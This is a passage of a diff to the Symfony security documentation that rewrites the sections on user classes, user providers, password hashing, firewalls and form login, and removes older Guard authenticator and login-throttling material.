+discussed:
+
+`The User`_ (``providers``)
+    Any secured section of your application needs some concept of
+    a user. The user provider loads users from any storage (e.g. the
+    database) based on a "user identifier" (e.g. the user's email address);
+
+`The Firewall`_ & `Authenticating Users`_ (``firewalls``)
+    The firewall is the core of securing your application. Every request
+    within the firewall is checked if it needs an authenticated user. The
+    firewall also takes care of authenticating this user (e.g. using a
+    login form);
+
+`Access Control (Authorization)`_ (``access_control``)
+    Using access control and the authorization checker, you control the
+    required permissions to perform a specific action or visit a specific
+    URL.
 
-#. :ref:`Denying access to your app (authorization) <security-authorization>`;
+.. _create-user-class:
+.. _a-create-your-user-class:
 
-#. :ref:`Fetching the current User object <retrieving-the-user-object>`.
+The User
+--------
 
-A few other important topics are discussed after.
+Permissions in Symfony are always linked to a user object. If you need to
+secure (parts of) your application, you need to create a user class. This
+is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
+This class is often a Doctrine entity, but you can also use a dedicated
+Security user class.
 
-.. _security-installation:
+The easiest way to generate a user class is using the ``make:user`` command
+from the `MakerBundle`_:
 
-1) Installation
----------------
+.. code-block:: terminal
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the security feature before using it:
+    $ php bin/console make:user
+     The name of the security user class (e.g. User) [User]:
+     > User
 
-.. code-block:: terminal
+     Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
+     > yes
 
-    $ composer require symfony/security-bundle
+     Enter a property name that will be the unique "display" name for the user (e.g. email, username, uuid) [email]:
+     > email
 
+     Will this app need to hash/check user passwords? Choose No if passwords are not needed or will be checked/hashed by some other system (e.g. a single sign-on server).
 
-.. tip::
+     Does this app need to hash/check user passwords? (yes/no) [yes]:
+     > yes
 
-    A :doc:`new authenticator-based Security </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will replace security in
-    Symfony 6.0. This system is almost fully backwards compatible with the
-    current Symfony security, add this line to your security configuration to start
-    using it:
+     created: src/Entity/User.php
+     created: src/Repository/UserRepository.php
+     updated: src/Entity/User.php
+     updated: config/packages/security.yaml
 
-    .. configuration-block::
+.. code-block:: php
 
-        .. code-block:: yaml
+    // src/Entity/User.php
+    namespace App\Entity;
 
-            # config/packages/security.yaml
-            security:
-                enable_authenticator_manager: true
-                # ...
+    use App\Repository\UserRepository;
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
 
-        .. code-block:: xml
+    /**
+     * @ORM\Entity(repositoryClass=UserRepository::class)
+     */
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        /**
+         * @ORM\Id
+         * @ORM\GeneratedValue
+         * @ORM\Column(type="integer")
+         */
+        private $id;
 
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+        /**
+         * @ORM\Column(type="string", length=180, unique=true)
+         */
+        private $email;
 
-                <config enable-authenticator-manager="true">
-                    <!-- ... -->
-                </config>
-            </srv:container>
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
 
-        .. code-block:: php
+        /**
+         * @var string The hashed password
+         * @ORM\Column(type="string")
+         */
+        private $password;
+
+        public function getId(): ?int
+        {
+            return $this->id;
+        }
 
-            // config/packages/security.php
-            use Symfony\Config\SecurityConfig;
+        public function getEmail(): ?string
+        {
+            return $this->email;
+        }
 
-            return static function (SecurityConfig $security) {
-                $security->enableAuthenticatorManager(true);
-                // ...
-            };
+        public function setEmail(string $email): self
+        {
+            $this->email = $email;
 
-.. _initial-security-yml-setup-authentication:
-.. _initial-security-yaml-setup-authentication:
-.. _create-user-class:
+            return $this;
+        }
 
-2a) Create your User Class
---------------------------
+        /**
+         * The public representation of the user (e.g. a username, an email address, etc.)
+         *
+         * @see UserInterface
+         */
+        public function getUserIdentifier(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @deprecated since Symfony 5.3
+         */
+        public function getUsername(): string
+        {
+            return (string) $this->email;
+        }
 
-No matter *how* you will authenticate (e.g. login form or API tokens) or *where*
-your user data will be stored (database, single sign-on), the next step is always the same:
-create a "User" class. The easiest way is to use the `MakerBundle`_.
+        /**
+         * @see UserInterface
+         */
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
 
-Let's assume that you want to store your user data in the database with Doctrine:
+            return array_unique($roles);
+        }
 
-.. code-block:: terminal
+        public function setRoles(array $roles): self
+        {
+            $this->roles = $roles;
 
-    $ php bin/console make:user
+            return $this;
+        }
 
-    The name of the security user class (e.g. User) [User]:
-    > User
+        /**
+         * @see PasswordAuthenticatedUserInterface
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
+
+        public function setPassword(string $password): self
+        {
+            $this->password = $password;
+
+            return $this;
+        }
 
-    Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
-    > yes
+        /**
+         * Returning a salt is only needed, if you are not using a modern
+         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
+         *
+         * @see UserInterface
+         */
+        public function getSalt(): ?string
+        {
+            return null;
+        }
 
-    Enter a property name that will be the unique "display" name for the user (e.g.
-    email, username, uuid [email]
-    > email
+        /**
+         * @see UserInterface
+         */
+        public function eraseCredentials()
+        {
+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
-    Does this app need to hash/check user passwords? (yes/no) [yes]:
-    > yes
+.. versionadded:: 5.3
 
-    created: src/Entity/User.php
-    created: src/Repository/UserRepository.php
-    updated: src/Entity/User.php
-    updated: config/packages/security.yaml
+    The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+    interface and ``getUserIdentifier()`` method were introduced in Symfony 5.3.
 
-That's it! The command asks several questions so that it can generate exactly what
-you need. The most important is the ``User.php`` file itself. The *only* rule about
-your ``User`` class is that it *must* implement :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-Feel free to add *any* other fields or logic you need. If your ``User`` class is
-an entity (like in this example), you can use the :ref:`make:entity command <doctrine-add-more-fields>`
-to add more fields. Also, make sure to make and run a migration for the new entity:
+If your user is a Doctrine entity, like in the example above, don't forget
+to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`:
 
 .. code-block:: terminal
 
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
-.. _security-user-providers:
 .. _where-do-users-come-from-user-providers:
+.. _security-user-providers:
 
-2b) The "User Provider"
------------------------
-
-In addition to your ``User`` class, you also need a "User provider": a class that
-helps with a few things, like reloading the User data from the session and some
-optional features, like :doc:`remember me </security/remember_me>` and
-:doc:`impersonation </security/impersonating_user>`.
+Loading the User: The User Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key:
+Besides creating the entity, the ``make:user`` command also adds config
+for a user provider in your security configuration:
 
 .. configuration-block::
 
@@ -152,7 +266,6 @@ Fortunately, the ``make:user`` command already configured one for you in your
             # ...
 
             providers:
-                # used to reload user from session & other features (e.g. switch_user)
                 app_user_provider:
                     entity:
                         class: App\Entity\User
@@ -166,10 +279,13 @@ Fortunately, the ``make:user`` command already configured one for you in your
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <!-- used to reload user from session & other features (e.g. switch-user) -->
+                <!-- ... -->
+
                 <provider name="app_user_provider">
                     <entity class="App\Entity\User" property="email"/>
                 </provider>
@@ -185,29 +301,89 @@ Fortunately, the ``make:user`` command already configured one for you in your
         return static function (SecurityConfig $security) {
             // ...
 
-            // used to reload user from session & other features (e.g. switch_user)
             $security->provider('app_user_provider')
                 ->entity()
                     ->class(User::class)
-                    ->property('email');
+                    ->property('email')
+            ;
         };
 
+This user provider knows how to (re)load users from a storage (e.g. a database)
+based on a "user identifier" (e.g. the user's email address or username).
+The configuration above uses Doctrine to load the ``User`` entity using the
+``email`` property as "user identifier".
+
+User providers are used in a couple places during the security lifecycle:
+
+**Load the User based on an identifier**
+    During login (or any other authenticator), the provider loads the user
+    based on the user identifier. Some other features, like
+    :doc:`user impersonation </security/impersonating_user>` and
+    :doc:`Remember Me </security/remember_me>` also use this.
+
+**Reload the User from the session**
+    At the beginning of each request, the user is loaded from the
+    session (unless your firewall is ``stateless``). The provider
+    "refreshes" the user  (e.g. the database is queried again for fresh
+    data), to make sure all user information is up to date (and if
+    necessary, the user is de-authenticated/logged out if something
+    changed). See :ref:`user_session_refresh` for more information about
+    this process.
+
+Symfony comes with several built-in user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+The built-in user providers cover most the common needs for applications, but you
+can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
-If your ``User`` class is an entity, you don't need to do anything else. But if
-your class is *not* an entity, then ``make:user`` will also have generated a
-``UserProvider`` class that you need to finish. Learn more about user providers
-here: :doc:`User Providers </security/user_provider>`.
+.. note::
+
+    Sometimes, you need to inject the user provider in another class (e.g.
+    in your custom authenticator). All user providers follow this pattern
+    for their service ID: ``security.user.provider.concrete.<your-provider-name>``
+    (where ``<your-provider-name>`` is the configuration key, e.g.
+    ``app_user_provider``).
 
 .. _security-encoding-user-password:
-.. _encoding-the-user-s-password:
-.. _2c-encoding-passwords:
 
-2c) Hashing Passwords
----------------------
+Registering the User: Hashing Passwords
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Most applications require a user to login with a password. For these
+applications, the SecurityBundle provides password hashing and verification
+functionality.
+
+First, make sure your User class implements the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`::
 
-Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are hashed in ``security.yaml``. The ``make:user``
-command will pre-configure this for you:
+    // src/Entity/User.php
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        // ...
+
+        /**
+         * @return string the hashed password for this user
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
+    }
+
+Then, configure which password hasher should be used for this class. The
+``make:user`` pre-configured this for you:
 
 .. configuration-block::
 
@@ -216,11 +392,9 @@ command will pre-configure this for you:
         # config/packages/security.yaml
         security:
             # ...
-
             password_hashers:
-                # use your user class name here
                 App\Entity\User:
-                    # Use native password hasher, which auto-selects the best
+                    # Use native password hasher, which auto-selects and migrates the best
                     # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
@@ -238,12 +412,9 @@ command will pre-configure this for you:
 
             <config>
                 <!-- ... -->
-
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"/>
-
-                <!-- ... -->
+                <!-- Use native password hasher, which auto-selects and migrates the best
+                     possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
+                <password-hasher class="App\Entity\User" algorithm="auto"/>
             </config>
         </srv:container>
 
@@ -256,11 +427,11 @@ command will pre-configure this for you:
         return static function (SecurityConfig $security) {
             // ...
 
+            // Use native password hasher, which auto-selects and migrates the best
+            // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
             $security->passwordHasher(User::class)
                 ->algorithm('auto')
-                ->cost(12);
-
-            // ...
+            ;
         };
 
 .. versionadded:: 5.3
@@ -270,72 +441,63 @@ command will pre-configure this for you:
 
 Now that Symfony knows *how* you want to hash the passwords, you can use the
 ``UserPasswordHasherInterface`` service to do this before saving your users to
-the database.
-
-.. _user-data-fixture:
-
-For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can
-create dummy database users:
-
-.. code-block:: terminal
+the database::
 
-    $ php bin/console make:fixtures
+    // src/Controller/RegistrationController.php
+    namespace App\Controller;
 
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > UserFixtures
-
-Use this service to hash the passwords:
-
-.. code-block:: diff
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
-      // src/DataFixtures/UserFixtures.php
+    class RegistrationController extends AbstractController
+    {
+        public function index(UserPasswordHasherInterface $passwordHasher)
+        {
+            // ... e.g. get the user data from a registration form
+            $user = new User(...);
+            $plaintextPassword = ...;
 
-    + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
-      // ...
+            // hash the password (based on the security.yaml config for the $user class)
+            $hashedPassword = $passwordHasher->hash(
+                $user,
+                $plaintextPassword
+            );
+            $user->setPassword($hashedPassword);
 
-      class UserFixtures extends Fixture
-      {
-    +     private $passwordHasher;
+            // ...
+        }
+    }
 
-    +     public function __construct(UserPasswordHasherInterface $passwordHasher)
-    +     {
-    +         $this->passwordHasher = $passwordHasher;
-    +     }
+.. tip::
 
-          public function load(ObjectManager $manager)
-          {
-              $user = new User();
-              // ...
+    The ``make:registration-form`` maker command can help you set-up the
+    registration controller and add features like email address
+    verification using the `SymfonyCastsVerifyEmailBundle`_.
 
-    +         $user->setPassword($this->passwordHasher->hashPassword(
-    +             $user,
-    +             'the_new_password'
-    +         ));
+    .. code-block:: terminal
 
-              // ...
-          }
-      }
+        $ composer require symfonycasts/verify-email-bundle
+        $ php bin/console make:registration-form
 
-You can manually hash a password by running:
+You can also manually hash a password by running:
 
 .. code-block:: terminal
 
     $ php bin/console security:hash-password
 
-.. _security-yaml-firewalls:
-.. _security-firewalls:
-.. _firewalls-authentication:
-
-3a) Authentication & Firewalls
-------------------------------
+Read more about all available hashers and password migration in
+:doc:`security/passwords`.
 
-.. versionadded:: 5.1
+.. _firewalls-authentication:
+.. _a-authentication-firewalls:
 
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
+The Firewall
+------------
 
-The security system is configured in ``config/packages/security.yaml``. The *most*
-important section is ``firewalls``:
+The ``firewalls`` section of ``config/packages/security.yaml`` is the *most*
+important section. A "firewall" is your authentication system: the firewall
+defines which parts of your application are secured and *how* your users
+will be able to authenticate (e.g. login form, API token, etc).
 
 .. configuration-block::
 
@@ -343,13 +505,20 @@ important section is ``firewalls``:
 
         # config/packages/security.yaml
         security:
+            # ...
             firewalls:
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: true
                     lazy: true
+                    provider: users_in_memory
+
+                    # activate different ways to authenticate
+                    # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                    # https://symfony.com/doc/current/security/impersonating_user.html
+                    # switch_user: true
 
     .. code-block:: xml
 
@@ -364,13 +533,19 @@ important section is ``firewalls``:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
+                <!-- ... -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
                 <firewall name="main"
-                    anonymous="true"
                     lazy="true"/>
+
+                <!-- activate different ways to authenticate
+                     https://symfony.com/doc/current/security.html#firewalls-authentication -->
+
+                <!-- https://symfony.com/doc/current/security/impersonating_user.html -->
+                <!-- <switch-user/> -->
             </config>
         </srv:container>
 
@@ -380,45 +555,47 @@ important section is ``firewalls``:
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
+            // ...
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
-                ->security(false);
+                ->security(false)
+            ;
 
             $security->firewall('main')
                 ->lazy(true)
-                ->anonymous();
-        };
 
-A "firewall" is your authentication system: the configuration below it defines
-*how* your users will be able to authenticate (e.g. login form, API token, etc).
+                // activate different ways to authenticate
+                // https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                // https://symfony.com/doc/current/security/impersonating_user.html
+                // ->switchUser(true)
+            ;
+        };
 
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
-to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`).
-The ``dev`` firewall is really a fake firewall: it makes sure that you don't
-accidentally block Symfony's dev tools - which live under URLs like ``/_profiler``
-and ``/_wdt``.
+to find the first match (you can also
+:doc:`match by host or other things </security/firewall_restriction>`).
+
+The ``dev`` firewall is really a fake firewall: it makes sure that you
+don't accidentally block Symfony's dev tools - which live under URLs like
+``/_profiler`` and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
-user is unknown (i.e. not logged in) when they first visit your website. The
-``anonymous`` mode, if enabled, is used for these requests.
+in other words many ways to ask the question "Who are you?".
 
-In fact, if you go to the homepage right now, you *will* have access and you'll
-see that you're "authenticated" as ``anon.``. The firewall verified that it
-does not know your identity, and so, you are anonymous:
+Often, the user is unknown (i.e. not logged in) when they first visit your
+website. If you visit your homepage right now, you *will* have access and
+you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-It means any request can have an anonymous token to access some resource,
-while some actions (i.e. some pages or buttons) can still require specific
-privileges. A user can then access a form login without being authenticated
-as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
-
-You'll learn later how to deny access to certain URLs, controllers, or part of
-templates.
+Visiting a secured section doesn't necessarily require you to authenticate
+(e.g. the login form has to be accessible or some parts of your application
+are public). You'll learn how to restrict access to URLs, controllers or
+anything else within your firewall in the :ref:`access control
+<security-access-control>` section.
 
 .. tip::
 
@@ -429,7 +606,8 @@ templates.
 
 .. note::
 
-    If you do not see the toolbar, install the :doc:`profiler </profiler>` with:
+    If you do not see the toolbar, install the :doc:`profiler </profiler>`
+    with:
 
     .. code-block:: terminal
 
@@ -438,53 +616,67 @@ templates.
 Now that we understand our firewall, the next step is to create a way for your
 users to authenticate!
 
-.. _security-form-login:
+.. _security-authenticators:
 
-3b) Authenticating your Users
------------------------------
+Authenticating Users
+--------------------
 
-Authentication in Symfony can feel a bit "magic" at first. That's because, instead
-of building a route & controller to handle login, you'll activate an
-*authentication provider*: some code that runs automatically *before* your controller
-is called.
+During authentication, the system tries to find a matching user for the
+visitor of the webpage. Traditionally, this was done using a login form or
+a HTTP basic dialog in the browser. However, the SecurityBundle comes with
+many other authenticators:
 
-Symfony has several :doc:`built-in authentication providers </security/auth_providers>`.
-If your use-case matches one of these *exactly*, great! But, in most cases - including
-a login form - *we recommend building a Guard Authenticator*: a class that allows
-you to control *every* part of the authentication process (see the next section).
+* `Form Login`_
+* `JSON Login`_
+* `HTTP Basic`_
+* `Login Link`_
+* `X.509 Client Certificates`_
+* `Remote users`_
+* :doc:`Custom Authenticators </security/custom_authenticator>`
 
 .. tip::
 
-    If your application logs users in via a third-party service such as Google,
-    Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ community
-    bundle.
+    If your application logs users in via a third-party service such as
+    Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
+    community bundle.
+
+Form Login
+~~~~~~~~~~
 
-Guard Authenticators
-~~~~~~~~~~~~~~~~~~~~
+Most websites have a login form where users authenticate using an
+identifier (e.g. email address or username) and a password. This
+functionality is provided by the *form login authenticator*.
 
-.. deprecated:: 5.3
+First, create a controller for the login form:
 
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
+.. code-block:: terminal
 
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
+    $ php bin/console make:controller Login
 
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+     created: src/Controller/LoginController.php
+     created: templates/login/index.html.twig
 
-Limiting Login Attempts
-~~~~~~~~~~~~~~~~~~~~~~~
+.. code-block:: php
 
-.. versionadded:: 5.2
+    // src/Controller/LoginController.php
+    namespace App\Controller;
 
-    Login throttling was introduced in Symfony 5.2.
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-Symfony provides basic protection against `brute force login attacks`_ if
-you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
-You must enable this using the ``login_throttling`` setting:
+    class LoginController extends AbstractController
+    {
+        #[Route('/login', name: 'login')]
+        public function index(): Response
+        {
+            return $this->render('login/index.html.twig', [
+                'controller_name' => 'LoginController',
+            ]);
+        }
+    }
+
+Then, enable the form login authenticator using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -492,57 +684,33 @@ You must enable this using the ``login_throttling`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
+            # ...
 
             firewalls:
-                # ...
-
                 main:
                     # ...
-
-                    # by default, the feature allows 5 login attempts per minute
-                    login_throttling: null
-
-                    # configure the maximum login attempts (per minute)
-                    login_throttling:
-                        max_attempts: 3
-
-                    # configure the maximum login attempts in a custom period of time
-                    login_throttling:
-                        max_attempts: 3
-                        interval: '15 minutes'
-
-                    # use a custom rate limiter via its service ID
-                    login_throttling:
-                        limiter: app.my_login_rate_limiter
+                    form_login:
+                        # "login" is the name of the route created previously
+                        login_path: login
+                        check_path: login
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
-
                 <firewall name="main">
-                    <!-- by default, the feature allows 5 login attempts per minute -->
-                    <login-throttling/>
-
-                    <!-- configure the maximum login attempts (per minute) -->
-                    <login-throttling max-attempts="3"/>
-
-                    <!-- configure the maximum login attempts in a custom period of time -->
-                    <login-throttling max-attempts="3" interval="15 minutes"/>
-
-                    <!-- use a custom rate limiter via its service ID -->
-                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                    <!-- "login" is the name of the route created previously -->
+                    <form-login login-path="login" check-path="login"/>
                 </firewall>
             </config>
         </srv:container>
@@ -553,256 +721,139 @@ You must enable this using the ``login_throttling`` setting:
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-
             // ...
+
             $mainFirewall = $security->firewall('main');
 
-            // by default, the feature allows 5 login attempts per minute
-            $mainFirewall
-                ->loginThrottling();
+            // "login" is the name of the route created previously
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
 
-            // configure the maximum login attempts (per minute)
-            $mainFirewall
-                ->loginThrottling()
-                    ->maxAttempts(3)
-                    ->interval('15 minutes');
+.. note::
 
-            // configure the maximum login attempts in a custom period of time
-            $mainFirewall
-                ->loginThrottling()
-                    ->maxAttempts(3);
-        };
+    The ``login_path`` and ``check_path`` support URLs and route names (but
+    cannot have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo``
+    has no default value).
 
-.. versionadded:: 5.3
+Once enabled, the security system redirects unauthenticated visitors to the
+``login_path`` when they try to access a secured place (this behavior can
+be customized using :ref:`authentication entry points <security-entry-point>`).
 
-    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+Edit the login controller to render the login form:
 
-By default, login attempts are limited on ``max_attempts`` (default: 5)
-failed requests for ``IP address + username`` and ``5 * max_attempts``
-failed requests for ``IP address``. The second limit protects against an
-attacker using multiple usernames from bypassing the first limit, without
-distrupting normal users on big networks (such as offices).
+.. code-block:: diff
 
-.. tip::
+      // ...
+    + use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
 
-    Limiting the failed login attempts is only one basic protection against
-    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
-    several other protections that you should consider depending on the
-    level of protection required.
+      class LoginController extends AbstractController
+      {
+          #[Route('/login', name: 'login')]
+    -     public function index(): Response
+    +     public function index(AuthenticationUtils $authenticationUtils): Response
+          {
+    +         // get the login error if there is one
+    +         $error = $authenticationUtils->getLastAuthenticationError();
+    +
+    +         // last username entered by the user
+    +         $lastUsername = $authenticationUtils->getLastUsername();
+    +
+              return $this->render('login/index.html.twig', [
+    -             'controller_name' => 'LoginController',
+    +             'last_username' => $lastUsername,
+    +             'error'         => $error,
+              ]);
+          }
+      }
 
-If you need a more complex limiting algorithm, create a class that implements
-:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
-(or use
-:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
-and set the ``limiter`` option to its service ID:
+Don't let this controller confuse you. The form login authenticators
+handles the form submission for you. If the user submits an invalid
+username or password, this controller reads the form submission error from
+the security system (using ``AuthenticationUtils``), so that it can be
+displayed back to the user.
 
-.. configuration-block::
+Finally, create the template:
 
-    .. code-block:: yaml
+.. code-block:: html+twig
 
-        # config/packages/security.yaml
-        framework:
-            rate_limiter:
-                # define 2 rate limiters (one for username+IP, the other for IP)
-                username_ip_login:
-                    policy: token_bucket
-                    limit: 5
-                    rate: { interval: '5 minutes' }
+    {# templates/login/index.html.twig #}
+    {% extends 'base.html.twig' %}
 
-                ip_login:
-                    policy: sliding_window
-                    limit: 50
-                    interval: '15 minutes'
-
-        services:
-            # our custom login rate limiter
-            app.login_rate_limiter:
-                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
-                arguments:
-                    # globalFactory is the limiter for IP
-                    $globalFactory: '@limiter.ip_login'
-                    # localFactory is the limiter for username+IP
-                    $localFactory: '@limiter.username_ip_login'
-
-        security:
-            firewalls:
-                main:
-                    # use a custom rate limiter via its service ID
-                    login_throttling:
-                        limiter: app.login_rate_limiter
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <framework:config>
-                <framework:rate-limiter>
-                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
-                    <framework:limiter name="username_ip_login"
-                        policy="token_bucket"
-                        limit="5"
-                    >
-                        <framework:rate interval="5 minutes"/>
-                    </framework:limiter>
-
-                    <framework:limiter name="ip_login"
-                        policy="sliding_window"
-                        limit="50"
-                        interval="15 minutes"
-                    />
-                </framework:rate-limiter>
-            </framework:config>
-
-            <srv:services>
-                <!-- our custom login rate limiter -->
-                <srv:service id="app.login_rate_limiter"
-                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
-                >
-                    <!-- 1st argument is the limiter for IP -->
-                    <srv:argument type="service" id="limiter.ip_login"/>
-                    <!-- 2nd argument is the limiter for username+IP -->
-                    <srv:argument type="service" id="limiter.username_ip_login"/>
-                </srv:service>
-            </srv:services>
-
-            <config>
-                <firewall name="main">
-                    <!-- use a custom rate limiter via its service ID -->
-                    <login-throttling limiter="app.login_rate_limiter"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\DependencyInjection\ContainerBuilder;
-        use Symfony\Component\DependencyInjection\Reference;
-        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
-        use Symfony\Config\FrameworkConfig;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
-            $framework->rateLimiter()
-                ->limiter('username_ip_login')
-                    ->policy('token_bucket')
-                    ->limit(5)
-                    ->rate()
-                        ->interval('5 minutes')
-            ;
-
-            $framework->rateLimiter()
-                ->limiter('ip_login')
-                    ->policy('sliding_window')
-                    ->limit(50)
-                    ->interval('15 minutes')
-            ;
-
-            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
-                ->setArguments([
-                    // 1st argument is the limiter for IP
-                    new Reference('limiter.ip_login'),
-                    // 2nd argument is the limiter for username+IP
